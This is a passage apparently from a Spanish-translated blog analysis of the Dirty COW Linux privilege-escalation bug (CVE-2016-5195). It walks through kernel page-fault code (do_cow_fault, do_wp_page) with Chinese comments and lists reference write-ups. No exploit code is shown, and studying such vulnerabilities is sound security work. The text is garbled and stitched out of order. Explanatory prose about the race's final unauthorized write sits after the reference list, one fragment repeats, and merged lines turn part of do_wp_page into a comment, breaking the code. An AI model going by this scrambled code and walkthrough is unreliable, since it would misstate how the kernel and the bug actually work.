ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 从文件中读取数据到fault_page
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;
if (fault_page) // 读取成功
copy_user_highpage(new_page, fault_page, address, vma); // 将fault_page的数据拷贝到new_page中,实际调用memcpy
__SetPageUptodate(new_page);
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) { // 并发检查
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); // 设置新页的PTE,该页为可写匿名页
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
Durante la primera falta de página ya habíamos leído el contenido del archivo en memoria mediante do_cow_fault dentro de do_fault y configuramos la pte. Ahora se produce la segunda falta de página debido a la falta de permisos de escritura. Esta vez, el flujo de do_wp_page llamado desde handle_pte_fault es el siguiente:
Primero, se obtiene la página correspondiente a la pte.
Luego, el flujo de COW llega a reuse_swap_page, que verifica si solo una tarea está usando esa página.
Si es así, se reutiliza directamente la nueva página asignada por do_cow_fault, y wp_page_copy copia el contenido de la página, completando así el COW.```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;
old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
/*
## Reference
- [Una discusión completa sobre el manejo de fallos de página en Linux — Page Faults ilustrados](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Perspectiva de la esencia del mapeo de memoria mmap desde el núcleo (implementación del código fuente)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Análisis y reproducción de la vulnerabilidad CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [[Análisis de vulnerabilidad] CVE-2016-5195 Dirtycow: Análisis de la vulnerabilidad de escalada de privilegios en el kernel de Linux](https://www.anquanke.com/post/id/84784)
- [Análisis del flujo de procesamiento de fallos de página en Linux y análisis de CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Recopilación de la vulnerabilidad crítica Dirtycow en Linux](https://zhuanlan.zhihu.com/p/25918300)
- [Corre, kernel de Linux](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
faultin_page logra leer la página de destino en memoria y establecer el mapeo, en lugar de copiar una página anónima como en el caso normal (COW). Luego retorna para reintentar.follow_page_mask intenta obtener la página por cuarta vez. Esta vez logra obtener la página de destino sin causar una nueva excepción.kmap, el proceso completa la escritura, se marca la página como sucia y finalmente los cambios se sincronizan con el archivo en la tabla, completando la escritura no autorizada./*
pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }